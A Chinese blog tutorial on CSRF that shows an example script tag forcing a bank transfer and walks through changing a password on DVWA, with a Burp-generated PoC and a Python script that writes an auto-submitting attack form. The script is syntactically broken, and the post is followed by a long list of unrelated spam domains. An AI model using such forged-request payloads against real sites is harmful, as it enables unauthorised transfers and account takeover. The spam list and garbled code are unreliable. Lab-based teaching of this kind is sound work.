浅谈CSRF漏洞

正文:
CSRF与xss和像,但是两个是完全不一样的东西。
xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍: 点我跳转
 
CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍: 点我跳转
 
CSRF原理:
 
银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
攻击者的博客:http://www.hack.com/index,php
把这个加入到js里面。<script src=" http://jianse.com/zhuanzhang.php?name=lu&email= xxx@qq.com&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。
 

 

实验:
这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:
首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low

 

启动Burpsuite,设置代理。

 

回到刚刚的页面,输入要更改的密码。burp开启抓包
 

 

抓到的包

 

构造CSRF POC

 

更改所需要的

 

点击Regenerate按钮更新POC,点击Test in browser复制链接

 

点击Copy按钮。复制到浏览器上使用

 

点击按钮实行csrf攻击。

 

从图中我们可以看到密码已经更改,退回登录界面。

 

点击登录

 

从图中我们可以看到,CSRF攻击已经成功实施。
既然如此我们为什么不写一个CSRF脚本呢?
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import  time
import  simplejson as json
def  poc():
     url = "http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
     headers = { 'User-Agent' 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36' }
     values = url.split( '?' )[ - 1 ]
     urltwo = url.split( '?' )[: - 1 ]
     urltwos = "".join(urltwo)
     dumps = {}
     for  line  in  values.split( '&' ):
         key,value = line.split( '=' , 1 )
         dumps[key] = value
         discts = [i  for  in  dumps.keys()]
     print ( '原url:' ,url)
     print ( 'url原带的参数:' ,dumps)
     dumps[ 'password_new' =  'password'
     dumps[ 'password_conf' =  'password'
     valueswto = [g  for  in   dumps.values()]
     print ( 'url更该后的参数' ,dumps)
     print ( '1.burpsuite的POC' )
 
 
     user = input ( '请进行你的选择:' )
     if  user  = =  '1' :
         print ( 'burpsiuite的POC' )
         burp = open ( 'burp.html' , 'w' )
         burp.write( '<html>\n' )
         burp.write( '<body>\n' )
         burp.write( '<script>history.pushState("' '","' '",' "'/'" ')</script>\n' )
         burp.write( '<form action="{}">\n' . format (urltwos))
         burp.write( '<input type="hidden" name="{}" value="{}"/>\n' . format (discts[ 0 ],valueswto[ 0 ]))
         burp.write( '<input type="hidden" name="{}" value="{}"/>\n' . format (discts[ 1 ],valueswto[ 1 ]))
         burp.write( '<input type="hidden" name="{}" value="{}"/>\n' . format (discts[ 2 ],valueswto[ 2 ]))
         burp.write( '<input type="submit" value="Submit CSRF POC"/>\n' )
         burp.write( '</form>\n' )
         burp.write( '</body>\n' )
         burp.write( '</html>\n' )
         burp.close()
     else :
         print ( '【-】抱歉你没有进行选择,退出ing...' )
         time.sleep( 1 )
         exit()
 
 
 
poc()

  测试结果如下:

生成的html

打开burp.html

 

 点击按钮

密码更改成功。

http://www.wll1115.cn
http://www.rol3427.cn
http://www.akb6775.cn
http://www.giy4971.cn
http://www.tyo9948.cn
http://www.uzh3227.cn
http://www.mfc7569.cn
http://www.otm3953.cn
http://www.ewh1005.cn
http://www.iip1291.cn
http://www.dyg4913.cn
http://www.ase4727.cn
http://www.uqx4260.cn
http://www.sif0574.cn
http://www.sdb0307.cn
http://www.thg4282.cn
http://www.rvc0755.cn
http://www.qld9407.cn
http://www.idd5091.cn
http://www.cqu4082.cn
http://www.skk3561.cn
http://www.lsz6488.cn
http://www.ncc8754.cn
http://www.tsx6039.cn
http://www.ayr4754.cn
http://www.cjd7774.cn
http://www.wzf9854.cn
http://www.nzl1119.cn
http://www.zdn2144.cn
http://www.ief1694.cn
http://www.buu7798.cn
http://www.eig6365.cn
http://www.djf2649.cn
http://www.hvc6084.cn
http://www.opg6486.cn
http://www.hud3144.cn
http://www.iit3286.cn
http://www.wyu4949.cn
http://www.lus6696.cn
http://www.epi0997.cn
http://www.rdk6709.cn
http://www.lwa7903.cn
http://www.kjx4882.cn
http://www.nwf3326.cn
http://www.thy6127.cn
http://www.xho5322.cn
http://www.bfc2814.cn
http://www.lhl7110.cn
http://www.kpx1618.cn
http://www.prl0026.cn
http://www.bxb7451.cn
http://www.ube1531.cn
http://www.qnu9925.cn
http://www.hxl6493.cn
http://www.ric5056.cn
http://www.ibs2142.cn
http://www.mco2769.cn
http://www.tzr5175.cn

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值